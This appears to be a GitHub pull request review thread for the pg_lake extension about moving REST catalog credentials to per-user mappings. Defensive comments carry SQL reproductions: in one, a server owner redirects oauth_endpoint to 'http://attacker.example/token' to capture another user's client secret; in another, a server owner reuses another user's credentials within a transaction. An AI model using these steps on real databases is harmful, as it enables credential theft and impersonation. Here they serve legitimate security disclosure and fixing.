		return false;

	if (IsIcebergCatalogServerByName(serverName))
		RedactWholeStatement(processUtilityParams->queryString,
							 processUtilityParams->plannedStmt);

	return false;
}

This lets us delete RedactUserMappingSecrets and IsRedactableUserMappingSecret and all the quote handling, around 120 lines gone. The one small trade off is that a scope only ALTER USER MAPPING also gets blanked, but scope is not secret and these servers are credential servers anyway, so I think that is fine. If we really want to keep the non secret ALTER visible we can add a tiny check that only redacts when client_id or client_secret is present, but I would keep it simple.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Really good point, current code also produces definite leak when there are SQL comments between option name and value, among other things.

static void
ValidateRestCatalogOptions(const RestCatalogOptions * opts, const char *catalog)
{
bool missingSecret;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nit: declare where they are used

Comment thread pg_lake_iceberg/src/rest_catalog/rest_catalog.c Outdated
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch from 94e9630 to 0e90338 Compare June 16, 2026 16:04
@sfc-gh-npuka

Copy link
Copy Markdown
Collaborator Author

Bug: server owner can redirect another user's REST catalog credentials

Risk

A foreign server's owner can change the server's rest_endpoint / oauth_endpoint after another user has created a USER MAPPING on it. The mapping owner's client_id / client_secret are then POSTed to whatever endpoint the server owner picked, on the mapping owner's next DML against the catalog.

The 3.4 upgrade grants USAGE ON FOREIGN DATA WRAPPER iceberg_catalog TO lake_write, so the server owner does not need to be a superuser. Any role with lake_write is a sufficient attacker.

Existing guards do not cover this:

  • ValidateIcebergCatalogServerDDL only blocks ALTER SERVER ... SET rest_endpoint when dependent iceberg tables exist on that server. A USER MAPPING alone is not "dependent" in that check.
  • oauth_endpoint is not gated at all — even adding it on a server that previously fell back to the rest_endpoint-derived default reroutes the next token fetch.

Reproduction

Setup (as superuser):

CREATE EXTENSION pg_lake CASCADE;

CREATE ROLE adam LOGIN PASSWORD 'adam';
CREATE ROLE sarah LOGIN PASSWORD 'sarah';
GRANT lake_write TO adam, sarah;

As adam — define a plausible-looking REST catalog and share it:

-- \c - adam
CREATE SERVER shared_polaris TYPE 'rest'
  FOREIGN DATA WRAPPER iceberg_catalog
  OPTIONS (rest_endpoint 'https://polaris.example.com');

GRANT USAGE ON FOREIGN SERVER shared_polaris TO sarah;

As sarah — provision per-user credentials and use the catalog:

-- \c - sarah
CREATE USER MAPPING FOR sarah SERVER shared_polaris
  OPTIONS (client_id     'sarah-real-id',
           client_secret 'sarah-real-secret');

-- Until here Sarah's creds only flow to polaris.example.com.

As adam — redirect, no error raised:

-- \c - adam
ALTER SERVER shared_polaris
  OPTIONS (ADD oauth_endpoint 'http://attacker.example/token');

-- rest_endpoint variant (works as long as Sarah has not yet created a table backed by this catalog):
-- ALTER SERVER shared_polaris
--   OPTIONS (SET rest_endpoint 'http://attacker.example/');

As sarah — next DML against the catalog POSTs Authorization: Basic base64('sarah-real-id':'sarah-real-secret') to http://attacker.example/token:

-- \c - sarah
CREATE TABLE sarah_t (id int) USING iceberg
  WITH (catalog = 'shared_polaris');     -- token fetch -> attacker
-- or, if the table already existed: any read/write against it.

Adam now holds Sarah's principal credentials and can speak to the real Polaris on Sarah's behalf.

Scope notes

  • Not closed by the prior commit (c27cc85, "Restrict REST credential GUCs to the built-in catalog only"). That change gates system-wide GUC credentials away from user-created servers; it does not constrain server-owner ALTERs of endpoints.
  • Independent of token caching: a stale cached token only delays the exfil until the next token fetch (default Polaris TTL = 1 hour, or any 401/419 forcing a refresh).
  • A separate, pre-existing leak — the server owner can read pg_user_mapping.umoptions for mappings on their server — is out of scope for this bug. The fix for the redirect attack does not address it; operational mitigation (restricting who can own iceberg_catalog servers) does.

@sfc-gh-okalaci

Copy link
Copy Markdown
Collaborator

Footgun: removing a REST catalog's credentials wedges DROP of its dependent tables

While testing this branch I hit an edge case worth addressing. Dropping a writable REST iceberg table isn't purely local — the OAT_DROP hook issues a remote DELETE to the catalog and resolves credentials at drop time. Since user-created servers (correctly) don't fall back to the GUCs, once the credentials behind a server are gone the dependent tables can no longer be dropped — they wedge with ERROR: no credentials found for REST catalog "...".

Repro A — drop the user mapping, then the table is undroppable

CREATE SERVER wedge_srv TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint 'https://<polaris-endpoint>');
CREATE USER MAPPING FOR PUBLIC SERVER wedge_srv
    OPTIONS (client_id '<client_id>', client_secret '<client_secret>');
CREATE TABLE wedge_t (a int) USING iceberg WITH (catalog = 'wedge_srv');

-- remove the credentials while the table still exists
DROP USER MAPPING FOR PUBLIC SERVER wedge_srv;

-- now the table is wedged:
DROP TABLE wedge_t;        -- ERROR: no credentials found for REST catalog "wedge_srv"

Repro B — DROP SERVER ... CASCADE

CREATE SERVER wedge_srv2 TYPE 'rest'
    FOREIGN DATA WRAPPER iceberg_catalog
    OPTIONS (rest_endpoint 'https://<polaris-endpoint>');
CREATE USER MAPPING FOR PUBLIC SERVER wedge_srv2
    OPTIONS (client_id '<client_id>', client_secret '<client_secret>');
CREATE TABLE wedge_t2 (a int) USING iceberg WITH (catalog = 'wedge_srv2');

-- cascade removes the mapping AND the table together, in unspecified order:
DROP SERVER wedge_srv2 CASCADE;   -- can ERROR: no credentials found

Recovery requires recreating the mapping, dropping the table, then dropping the mapping/server — but a user who already dropped the mapping has to reverse-engineer that.

Suggestion: detect & block, don't silently best-effort

A "best-effort delete + WARNING" would just trade one silent failure (wedged drop) for another (orphaned remote table). I'd rather prevent it. The predicate already exists — ServerHasDependentRestIcebergTable(), used today to block ALTER SERVER ... SET rest_endpoint. Apply the same check to credential removal (DROP USER MAPPING, or ALTER USER MAPPING ... DROP client_id/client_secret):

ERROR:  cannot drop the credentials for server "wedge_srv" because it has dependent iceberg tables
HINT:   Drop the dependent tables first.

The important detail is where to hook it. A ProcessUtility guard on DROP USER MAPPING only catches Repro A — it doesn't fire when the mapping is removed via DROP SERVER CASCADE. Hooking the object_access_hook on OAT_DROP for UserMappingRelationId catches both, since that fires for explicit drops and cascade deletions alike (same place we already hook table drops in pg_lake_table/src/ddl/drop_table.c). The erroring transaction rolls back cleanly, so you can never end up half-torn-down.

Two caveats, for honesty about scope:

  • Per-user vs PUBLIC mappings: tables depend on the server, not a specific mapping, and resolution is per-current-user at drop time. The safe first cut is the conservative rule "block dropping any mapping while the server has dependent writable tables" (mirrors the coarse rest_endpoint guard).
  • Externally invalidated creds (rotated/revoked/unreachable) can't be prevented by this guard and would still fail loudly — that's acceptable, it's outside Postgres's control. The guard's job is to stop the self-inflicted wedge, which is the part we can prevent.

@sfc-gh-okalaci

Copy link
Copy Markdown
Collaborator

Footgun: removing a REST catalog's credentials wedges DROP of its dependent tables

Well, I found it while testing locally, but asked Claude to write the comment :)

@sfc-gh-okalaci

sfc-gh-okalaci commented Jun 17, 2026

Copy link
Copy Markdown
Collaborator

Bug: server owner can redirect another user's REST catalog credentials

Reproduced this locally on the current branch — adam (only lake_write, server owner, no superuser) redirected both rest_endpoint and oauth_endpoint to an attacker URL with no error while sarah's USER MAPPING existed. Valid concern.

For the fix, it slots right into the existing endpoint gate in ValidateIcebergCatalogServerDDL, the AlterForeignServerStmt branch in pg_lake_iceberg/src/rest_catalog/rest_catalog.c. Today that branch only blocks rest_endpoint and only when ServerHasDependentRestIcebergTable() is true:

if (pg_strcasecmp(def->defname, "rest_endpoint") == 0 &&
    ServerHasDependentRestIcebergTable(server->serverid))
    ereport(ERROR, ... "has dependent iceberg tables" ...);

Two gaps to close there:

  1. oauth_endpoint is not gated at all — add it to the same check. It's the more direct vector since FetchRestCatalogAccessToken posts the credentials straight to opts->oauthHostPath (pg_lake_iceberg/src/rest_catalog/rest_catalog.c).
  2. A USER MAPPING isn't counted as a dependent. Add a helper next to ServerHasDependentRestIcebergTable — say ServerHasForeignUserMappings(serverOid) — that scans pg_user_mapping for umserver = serverid with umuser <> <server owner> (i.e. mappings owned by someone other than the altering owner). Then gate rest_endpoint/oauth_endpoint changes on dependent tables OR foreign user mappings.

Conservative first cut: block the endpoint change if any USER MAPPING exists on the server (don't even bother filtering by owner) — simplest and safe, mirrors how the table gate is coarse. We can refine to "mappings not owned by me" later if it's too strict.

@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch from 0e90338 to 730ff8f Compare June 17, 2026 20:47

@sfc-gh-okalaci sfc-gh-okalaci left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

we are getting pretty close

Comment thread pg_lake_table/src/ddl/drop_table.c Outdated
if (access != OAT_DROP)
return;

if (classId == UserMappingRelationId)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Small thing about placement: the timing here is fine (OAT_DROP runs before
the row is deleted, so it can abort both DROP USER MAPPING and the cascade
from DROP SERVER), but i think this lives in the wrong layer. This is a pure
iceberg-catalog concern, but it sits in pg_lake_table's table-drop hook and
needs the IsExtensionCreated(PgLakeIceberg) gate + a pg_user_mapping include
to do it. The guard also only fires if pg_lake_table happens to be installed,
which feels wrong since user mappings are an iceberg thing.

Could we instead register a small chained object_access_hook in pg_lake_iceberg
itself and handle it there, next to ValidateIcebergCatalogServerDDL? We already
do this exact pattern in pg_extension_base (extension_ids.c,
base_worker_launcher.c), so there is precedent. Then drop_table.c stays only
about tables. Not blocking, but cleaner.

* removal during DROP SERVER ... CASCADE.
*/
void
EnsureUserMappingDropAllowed(Oid umOid)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The file is ~2500 lines now and this PR adds quite a lot on top (redaction,
the new server/UM ddl guards, the credential resolution rework). It is already
mixing many things: option descriptors, ddl guards, credential resolution,
token cache/auth, http transport, and the actual rest operations.

Maybe we can split a bit so the patch doesnt grow the monolith more? Even just
pulling the ddl guards + redaction into a rest_catalog_ddl.c would help, since
that part is almost all new/touched here and is self contained. The Makefile
already globs src//.c so new files get picked up automatically, only cost is
making a few statics non-static behind a small internal header. Full split
(options / auth / http / ddl / ops) can be a follow up if you prefer to keep
this PR focused.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Really good point. We first merged the split PR and rebased this one on top of the split: #406

opts->catalog = pstrdup(userVisibleCatalog);
ApplyGUCDefaults(opts);

if (!isBuiltin)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

it looks a bit weird that we don't do this inside ApplyGUCDefaults.

We first set then remove, instead, setting inside ApplyGUCDefaults should be much safer and robust to refactors. We can pass isBuiltin to ApplyGUCDefaults so that the intent is well documented as well

static char *
GetRestCatalogAccessToken(RestCatalogOptions * opts, bool forceRefreshToken)
{
RestCatalogTokenCacheKey key;

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nit: in general, please pass over the code, declarations should be closer to where they are used, not at the top

if (serverName == NULL || options == NIL)
return false;

if (!IsIcebergCatalogServerByName(serverName))

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

if there is a typo in the server name, the credentials are still leaked. That's perhaps OK.

Without complicating the code, can you see any ways to avoid that?

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hmmm, valid point. Let me see what we can do here

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We can redact unless proved the server is non-iceberg. I.e. a typo / non-existent server falls into the "could be iceberg" bucket and gets scrubbed.

CacheRegisterSyscacheCallback(FOREIGNSERVEROID,
InvalidateRestTokenCache,
(Datum) 0);
CacheRegisterSyscacheCallback(USERMAPPINGOID,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Hm, should we add assignHook to the GUCs so that we invalidate the tokens when they are changed? Like RestCatalogStringCredAssign hook on the GUCs.

But remember, assign hooks should never throw errors, that could prevent server restarts etc.

I think we should not act if the GUC value have not changed, definitely make sure that as well. I suggest you debug that part, not let Claude do it.

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixing this in a follow-up PR since it's not directly related to adding USER MAPPING, but rather a pre-existing gap on main branch.

Comment thread pg_lake_table/src/ddl/drop_table.c Outdated
if (classId == UserMappingRelationId)
{
if (IsExtensionCreated(PgLakeIceberg))
EnsureUserMappingDropAllowed(objectId);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On the user-mapping drop guard and CASCADE

I think there is a problem with the new guard for the cascade case. In a
DROP SERVER ... CASCADE (and worse, DROP EXTENSION pg_lake_iceberg CASCADE)
the user mapping and the dependent tables are both direct dependents of the
server, and Postgres does not give any strict ordering between them when it
deletes the cascade members. So we cannot rely on the tables being dropped
before the credentials, or the other way around.

That makes the outcome non-deterministic for the same command:

  • if the user mapping is deleted first, the table drop tries to resolve
    credentials in EnsureXactBoundToRestCatalog (it calls
    GetRestCatalogOptionsForRelation every time) and fails with "no
    credentials", OR the new guard at rest_catalog.c:537 aborts the cascade
    with "cannot drop the credentials".
  • if the tables are deleted first, the same cascade just works.

So depending only on internal delete order, DROP SERVER CASCADE either
succeeds or errors, and DROP EXTENSION CASCADE can become impossible without
manual cleanup first. That feels bad - we are blocking people from dropping
their own objects.

Idea for a fix

We already deep-copy the credentials into the transaction
(CopyRestCatalogOptions into TopTransactionContext), and the post-commit
DELETE authenticates from that copy, not from the user mapping. So the real
problem is only capturing the credentials before the user mapping row is
gone
. Two small things would make order irrelevant:

  1. Capture once: in EnsureXactBoundToRestCatalog, after we are bound to a
    server, do the same-server check from the relation's server OID instead of
    re-resolving credentials on every call. In effect the whole transaction
    then uses one credential snapshot from the first write until commit, which I
    think is actually better anyway: it is consistent (a mapping change mid-tx
    does not switch credentials half way) and it is faster (we skip the repeated
    server + user mapping syscache lookups and option building on every
    statement). Right now we already reuse the captured catalogOpts for the
    actual requests, we are just re-resolving needlessly for the check.
  2. Capture on the user-mapping drop instead of blocking: we already do this on
    the table side - on the first write/drop of a table we resolve the
    credentials and deep-copy them into the transaction
    (CopyRestCatalogOptions into TopTransactionContext), and the post-commit
    DELETE authenticates from that copy, not from the live mapping. So instead of
    ereport, in the user-mapping OAT_DROP path we do the same thing here: if
    the server has dependent writable REST tables, bind the transaction to the
    catalog (i.e. take that same transaction-local copy of the credentials, while
    the mapping row still exists) and let the drop proceed. It is just a
    transaction-local snapshot, nothing is persisted and future transactions are
    not affected.

Then whoever is deleted first, the creds are already captured and the cascade
completes. The only case we cannot really solve is cross-transaction (drop the
credentials in one txn, drop the table in a later one) - but that is
recoverable by recreating the mapping, so a clear error at DROP TABLE time is
probably enough there.

I did not add a hard dependency on purpose: a table -> user mapping dependency
is the wrong model, because credentials are per-user (or PUBLIC) and dynamic,
so it would wrongly cascade-drop a shared table when one user drops their own
mapping.

Until now an iceberg_catalog server carried client_id / client_secret
on the SERVER row, so every role on the cluster shared the same
credentials and operators had to recreate the server on rotation.
Move credentials to per-user state and close the security holes that
move uncovered.

Credential model
----------------

The new resolution order is, lowest to highest priority:

  1. pg_lake_iceberg.rest_catalog_* GUC defaults
  2. iceberg_catalog SERVER options (non-secret only)
  3. pg_user_mapping options          (user-created servers only)

Servers split into two disjoint kinds:

  - The built-in pg_lake_rest_catalog (catalog='rest') stops after
    step 2 on purpose: its credentials live exclusively in the GUCs so
    the built-in stays a single, global, instance-wide configuration
    with no hidden per-user view.  CREATE/ALTER USER MAPPING is
    rejected for all three built-in long names.

  - User-created REST servers stop GUC propagation between step 1 and
    step 2: BuildRestCatalogOptionsFromServer clears
    opts->clientId/clientSecret for any non-built-in server before
    applying overrides, so USER MAPPING is the only writer of
    credentials on user-created servers.  Without this, a non-superuser
    holding USAGE on the iceberg_catalog FDW (lake_write in 3.4) could
    CREATE SERVER pointing at an attacker URL and have
    ApplyGUCDefaults ship production credentials to it on the first
    CREATE TABLE.

Implementation
--------------

  * iceberg_catalog_option_descs[] gains a CATALOG_OPT_CTX_* bitmask
    per option.  The same table now drives the validator, the
    per-context "Valid options are: ..." hint, and the option->struct
    applier.  client_id / client_secret are USER MAPPING-only; scope
    is accepted on both, with the USER MAPPING value winning because
    it is applied last during resolution.

  * RestCatalogOptions gains a userMappingOid field; the token cache
    key is now (serverOid, userMappingOid) so different SET ROLEs in
    the same backend each get their own user mapping's credentials.
    A USERMAPPINGOID syscache callback invalidates cached tokens on
    CREATE/ALTER/DROP USER MAPPING.

  * ValidateRestCatalogOptions performs an early auth-type-aware
    credentials check at resolution time: client_secret is always
    required, client_id is required unless rest_auth_type is
    'horizon'.  Missing credentials surface as "no credentials found
    for REST catalog ..." with ERRCODE_FDW_OPTION_NAME_NOT_FOUND.
    The error hint differs by server kind: built-in 'rest' points at
    the GUCs, user-created servers point at USER MAPPING and
    explicitly disavow GUC fallback.

Statement-text redaction
------------------------

A new ProcessUtility handler, RedactRestCatalogUserMappingSecrets,
scrubs CREATE/ALTER USER MAPPING for any iceberg_catalog server before
the statement reaches pg_stat_statements, log_min_duration_statement,
or any ereport context.  The handler is registered after the DDL
validator so it runs first (the handler list is prepend-LIFO),
ensuring failing DDL never leaks secrets.

Redaction is whole-statement: the slice bounded by
PlannedStmt->stmt_location / stmt_len is overwritten with a fixed
marker and padded with spaces.  An earlier draft tried to lex SQL
string literals and overwrite only the credential body, but that has
real, exploitable gaps -- a SQL comment between the option name and
its value, or a string continuation across whitespace, would stop the
parser mid-value and leak the suffix.  Coarse erasure has no parser
to outsmart.  A gating helper, HasRedactableUserMappingSecret, keeps
non-secret ALTER USER MAPPING (e.g. SET scope) fully visible: only
statements that actually move credential bytes through queryString
are scrubbed.  DDL itself reads option values from DefElem->arg, so
pg_user_mapping still stores the plaintext credential -- only the
query string surfaces see the redacted form.

DDL guards on user-created servers
----------------------------------

Two guards, gated by uniform predicates
(ServerHasForeignUserMappings / ServerHasDependentRestIcebergTable):

  1. Endpoint redirection.  ALTER SERVER OPTIONS rest_endpoint and
     oauth_endpoint are rejected while the server has any user mapping
     or dependent iceberg table.  Flipping the endpoint under existing
     mappings would redirect every mapping owner's credentials to the
     new URL on the next OAuth grant.

  2. Credential removal wedge.  Dropping the credentials behind a
     server that still has dependent iceberg tables would leave the
     tables undroppable: writable REST iceberg DROP records a remote
     REST DELETE in the current transaction and resolves credentials
     at drop time, so the subsequent DROP TABLE fails with "no
     credentials found".  Three paths are blocked:
       - DROP USER MAPPING, and cascade-driven UM removal during
         DROP SERVER ... CASCADE, via an OAT_DROP hook on
         UserMappingRelationId (deleteOneObject invokes it for both
         direct drops and cascade deletions).
       - ALTER USER MAPPING OPTIONS DROP client_id and DROP
         client_secret, via the ProcessUtility handler.  SET and ADD
         are rotation, not removal, and remain allowed.

Tests
-----

  * test_iceberg_catalog_server.py covers the new resolution and DDL
    surface that does not need a live REST catalog: per-context
    option lists and hints, valid/invalid options on each side, FOR
    CURRENT_USER with all three options, per-role mappings on the
    same server, built-in long-name blocks for CREATE/ALTER USER
    MAPPING, the GUC-non-fallback property for user-created servers
    (sentinel-leak test), the USAGE-on-server permission check at
    CREATE TABLE, the endpoint-redirection guard (parametrized
    rest_endpoint / oauth_endpoint blocks, two-role redirect repro,
    happy paths confirming the guard does not over-block), and
    redaction (whole-statement marker, scope-only skip, ordering vs
    the DDL validator, plaintext storage preservation, escape
    handling, non-iceberg server passthrough).

  * test_modify_iceberg_rest_table.py exercises the runtime path
    against a live Polaris.  The server-option-overrides-GUC
    parametrization drops client_id / client_secret (they no longer
    belong on SERVER); test_user_mapping_credential_overrides_guc
    covers the same resolution-order direction with USER MAPPING in
    step 3; the credential-removal DDL guards are exercised against
    real iceberg tables (DROP USER MAPPING repro, DROP SERVER CASCADE
    wedge-prevention, ALTER USER MAPPING DROP for both credential
    options, plus happy paths for SET rotation and for DROP USER
    MAPPING without dependents); and
    test_alter_user_mapping_credentials_invalidates_token_cache
    covers the USERMAPPINGOID syscache callback.

  * test_writable_iceberg_common.py: the shared writable-rest-server
    fixture now puts credentials on a PUBLIC user mapping and drops
    the server with CASCADE to sweep up the mapping.

Signed-off-by: sfc-gh-npuka <naisila.puka@snowflake.com>
Co-authored-by: Cursor <cursoragent@cursor.com>
@sfc-gh-npuka sfc-gh-npuka force-pushed the naisila/catalog_user_mapping branch from 730ff8f to f301489 Compare June 19, 2026 09:38
sfc-gh-npuka and others added 2 commits June 19, 2026 15:27
…action

Follow-up to f301489 ("pg_lake_iceberg: move REST catalog credentials
to USER MAPPING") with four review-driven changes:

* Move the OAT_DROP guard for DROP USER MAPPING / DROP SERVER ...
  CASCADE out of pg_lake_table and into pg_lake_iceberg's own chained
  object_access_hook (InitializeIcebergCatalogObjectAccessHook),
  matching the pg_extension_base precedent.

* Make redaction the default for unknown server names.  Renamed and
  inverted IsIcebergCatalogServerByName to
  IsKnownNonIcebergCatalogServer: skip redaction only when we can
  prove the target belongs to a different FDW.  A fat-fingered CREATE
  USER MAPPING no longer leaks the secret via core's failing lookup.

* Push the "credentials only feed the built-in catalog" rule into
  ApplyGUCDefaults via an isBuiltin flag, replacing the fragile
  set-then-null pattern in BuildRestCatalogOptionsFromServer.

* Move local declarations next to their first use in helpers added
  by f301489 (no behavioural change).

Adds test_redact_runs_for_unknown_server_name; existing coverage
unaffected.

Co-authored-by: Cursor <cursoragent@cursor.com>
Signed-off-by: sfc-gh-npuka <naisila.puka@snowflake.com>
…ng drop

The OAT_DROP guard erred on DROP USER MAPPING when the
server had dependent iceberg tables, which made
DROP SERVER ... CASCADE and DROP EXTENSION pg_lake_iceberg CASCADE
non-deterministic: cascade siblings are visited in
descending-OID order, so depending on which object Postgres saw first
the same command either succeeded or aborted with "no credentials
found" / "cannot drop the credentials".

* Replace the ereport in the OAT_DROP user-mapping path with a
  transaction-local credential capture.  pg_lake_iceberg dispatches
  via PgLake_RestCatalogXactCaptureCallback (set by pg_lake_table at
  _PG_init time); the callback resolves the about-to-vanish mapping's
  RestCatalogOptions via the new BuildRestCatalogOptionsFromUserMapping
  and deep-copies it into TopTransactionContext.  Whichever cascade
  sibling fires first wins, so the cascade always succeeds.

* After the first bind, EnsureXactBoundToRestCatalog re-resolves only
  the iceberg_catalog server OID -- no pg_user_mapping lookup, no
  credential validation -- via the new ResolveRestCatalogServerId /
  GetRestCatalogServerIdForRelation helpers.  Same-server identity
  check stays correct after the UM has been dropped earlier in the
  same txn.

* The hook-pointer pattern keeps layering clean: pg_lake_iceberg owns
  the predicate (ServerHasDependentRestIcebergTable + the
  iceberg_catalog FDW filter) and the dispatch site; pg_lake_table
  owns the txn-local state and the capture function.  The callback
  stays NULL when pg_lake_table is not loaded and the dispatch site
  no-ops.

Cross-transaction (DROP USER MAPPING in one txn; DROP TABLE in
another) still fails clearly with the standard "no credentials found"
error -- captures are txn-local by design.  Recovery is to recreate
the mapping.

Tests in test_modify_iceberg_rest_table.py rewritten to cover the
four scenarios that matter:

  test_drop_user_mapping_in_isolation_succeeds
  test_drop_user_mapping_then_drop_table_in_same_txn_succeeds
  test_drop_user_mapping_then_drop_table_in_separate_txn_fails_clearly
  test_drop_server_cascade_does_not_wedge[um_before_table |
                                          table_before_um]

The cascade test is parametrized over both creation orderings, using
a DROP+RECREATE on the user mapping to flip OID order so cascade
visits UM-first vs table-first.

Co-authored-by: Cursor <cursoragent@cursor.com>
Signed-off-by: sfc-gh-npuka <naisila.puka@snowflake.com>

@sfc-gh-npuka sfc-gh-npuka left a comment

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

still left to address from review: #255 (comment)

@sfc-gh-okalaci

Copy link
Copy Markdown
Collaborator

A server owner can run catalog operations under another user's credentials in the same transaction

This one is a security follow-up on the capture-on-drop change (again a consequence of what we added — see below). A non-superuser who owns a shared iceberg_catalog server can make REST catalog calls run under another role's OAuth identity. They never get to read the secret, but they get to use it.

Repro

Setup: adam (non-superuser) owns shared_srv. sarah has her own USER MAPPING on it (her Polaris app, possibly with broader scope). There is a writable REST iceberg table on the server so the capture predicate fires.

-- as adam (server owner)
BEGIN;
  DROP USER MAPPING FOR sarah SERVER shared_srv;     -- the server owner is allowed to do this
  CREATE TABLE adam_t (a int) USING iceberg WITH (catalog = 'shared_srv');  -- or INSERT into his own table
COMMIT;
-- the post-commit REST create/commit runs with SARAH's client_id/secret, not adam's

adam's own table operations now go to Polaris authenticated as sarah. If adam has no credentials of his own, he even gains write access he didn't have. It's a confused-deputy: the trust model says each user's credentials are their own, but here the owner acts as another user against the remote catalog.

Scope: needs a shared, user-created server with per-user mappings and a non-superuser server owner as the attacker. Where the server owner is the admin anyway, it's much less interesting; it matters for multi-tenant shared servers.

Why

Two pieces, both from the capture-on-drop design:

  1. CaptureRestCatalogCredsForUserMappingDrop copies the dropped mapping's credentials into the transaction (PgLakeXactRestCatalog->catalogOpts) on OAT_DROP, "first bind wins".
  2. EnsureXactBoundToRestCatalog then reuses that snapshot for any later same-server mutation and only re-checks the server OID — it does not re-resolve credentials for the current session user:
	if (PgLakeXactRestCatalog->catalogOpts == NULL)
	{
		// first bind: resolve + copy
		return;
	}
	Oid relationServerOid = GetRestCatalogServerIdForRelation(relationId);
	if (PgLakeXactRestCatalog->catalogOpts->serverOid != relationServerOid)
		// only a same-server check; credentials are reused as-is

So a UM-drop capture binds the victim's credentials, and the attacker's own DML in the same transaction silently runs on them.

Is this from the earlier suggestion?

Yes, fairly directly. We proposed (a) capturing the about-to-vanish mapping's credentials on drop, and (b) "use one credential snapshot for the whole transaction, only re-check the server OID afterwards" as a consistency/perf win. (b) is exactly what lets the captured credentials drive unrelated DML. At the time we framed "a mapping change mid-tx does not switch credentials" as a feature; it turns out to be the hole.

Fix

Don't capture another role's credentials in the first place — only ever snapshot the current user's own mapping or a PUBLIC one. HandleIcebergCatalogServerUserMappingDrop (pg_lake_iceberg/src/rest_catalog/rest_catalog_ddl.c) already reads the about-to-vanish mapping tuple, so it's a ~3-line gate before it dispatches to the capture callback:

Form_pg_user_mapping umForm = (Form_pg_user_mapping) GETSTRUCT(tup);
Oid serverOid = umForm->umserver;
Oid umUser    = umForm->umuser;          /* InvalidOid == PUBLIC */
ReleaseSysCache(tup);
...
/* Only snapshot our own mapping or a PUBLIC one; never another role's. */
if (OidIsValid(umUser) && umUser != GetUserId())
    return;                              /* skip capture -> cannot be reused to impersonate */

With this, dropping a foreign user's mapping no longer binds their credentials, so any later CREATE/INSERT in the txn re-resolves the dropping user's own credentials (or errors). It keeps the cascade/same-txn drop working — the part-2 tests all drop FOR PUBLIC (umuser == InvalidOid), which still captures — and needs no struct/model changes.

(The bigger alternative, if we ever want to clean up a foreign user's tables with their exact creds while still blocking impersonation, is to tag capture-sourced catalogOpts as drop-cleanup-only and gate reuse by operation type in EnsureXactBoundToRestCatalog — ~a couple dozen lines. Not needed to close the hole.)

@sfc-gh-okalaci

Copy link
Copy Markdown
Collaborator

Confusing no credentials found WARNING when a table's user mapping is dropped in the same transaction

Follow-up on the capture-on-drop change (this is a side effect of it, see below — not a regression of the cascade fix itself). The table drops fine; the problem is a confusing WARNING and a degraded file-cleanup path.

A single table is enough — it's about ordering, not scale. Set your own endpoint/creds:

-- (A) natural order -> clean
CREATE SERVER w_a TYPE 'rest' FOREIGN DATA WRAPPER iceberg_catalog OPTIONS (rest_endpoint '<endpoint>');
CREATE USER MAPPING FOR PUBLIC SERVER w_a OPTIONS (client_id '<id>', client_secret '<secret>');
CREATE TABLE w_a_t1 (a int) USING iceberg WITH (catalog = 'w_a');
DROP SERVER w_a CASCADE;                              -- clean, no warning

-- (B) drop mapping + table in one txn
CREATE SERVER w_b TYPE 'rest' FOREIGN DATA WRAPPER iceberg_catalog OPTIONS (rest_endpoint '<endpoint>');
CREATE USER MAPPING FOR PUBLIC SERVER w_b OPTIONS (client_id '<id>', client_secret '<secret>');
CREATE TABLE w_b_t1 (a int) USING iceberg WITH (catalog = 'w_b');
BEGIN;
  DROP USER MAPPING FOR PUBLIC SERVER w_b;
  DROP TABLE w_b_t1;                                  -- WARNING: no credentials found for REST catalog "w_b"
COMMIT;

-- (C) rotate the mapping, then drop the server later (routine)
CREATE SERVER w_c TYPE 'rest' FOREIGN DATA WRAPPER iceberg_catalog OPTIONS (rest_endpoint '<endpoint>');
CREATE USER MAPPING FOR PUBLIC SERVER w_c OPTIONS (client_id '<id>', client_secret '<secret>');
CREATE TABLE w_c_t1 (a int) USING iceberg WITH (catalog = 'w_c');
DROP USER MAPPING FOR PUBLIC SERVER w_c;             -- rotate: drop + recreate
CREATE USER MAPPING FOR PUBLIC SERVER w_c OPTIONS (client_id '<id>', client_secret '<secret>');
DROP SERVER w_c CASCADE;                              -- WARNING: no credentials found for REST catalog "w_c"

What actually happens (impact is small)

The drop succeeds end to end: Postgres drops the objects, and the post-commit REST DELETE removes the table from the catalog (it uses the captured credentials). The WARNING comes only from the data-file cleanup: MarkAllReferencedFilesForDeletion reads the table's Iceberg metadata to enumerate exact files, and that read re-resolves credentials from the now-gone mapping, fails, and is downgraded to a WARNING.

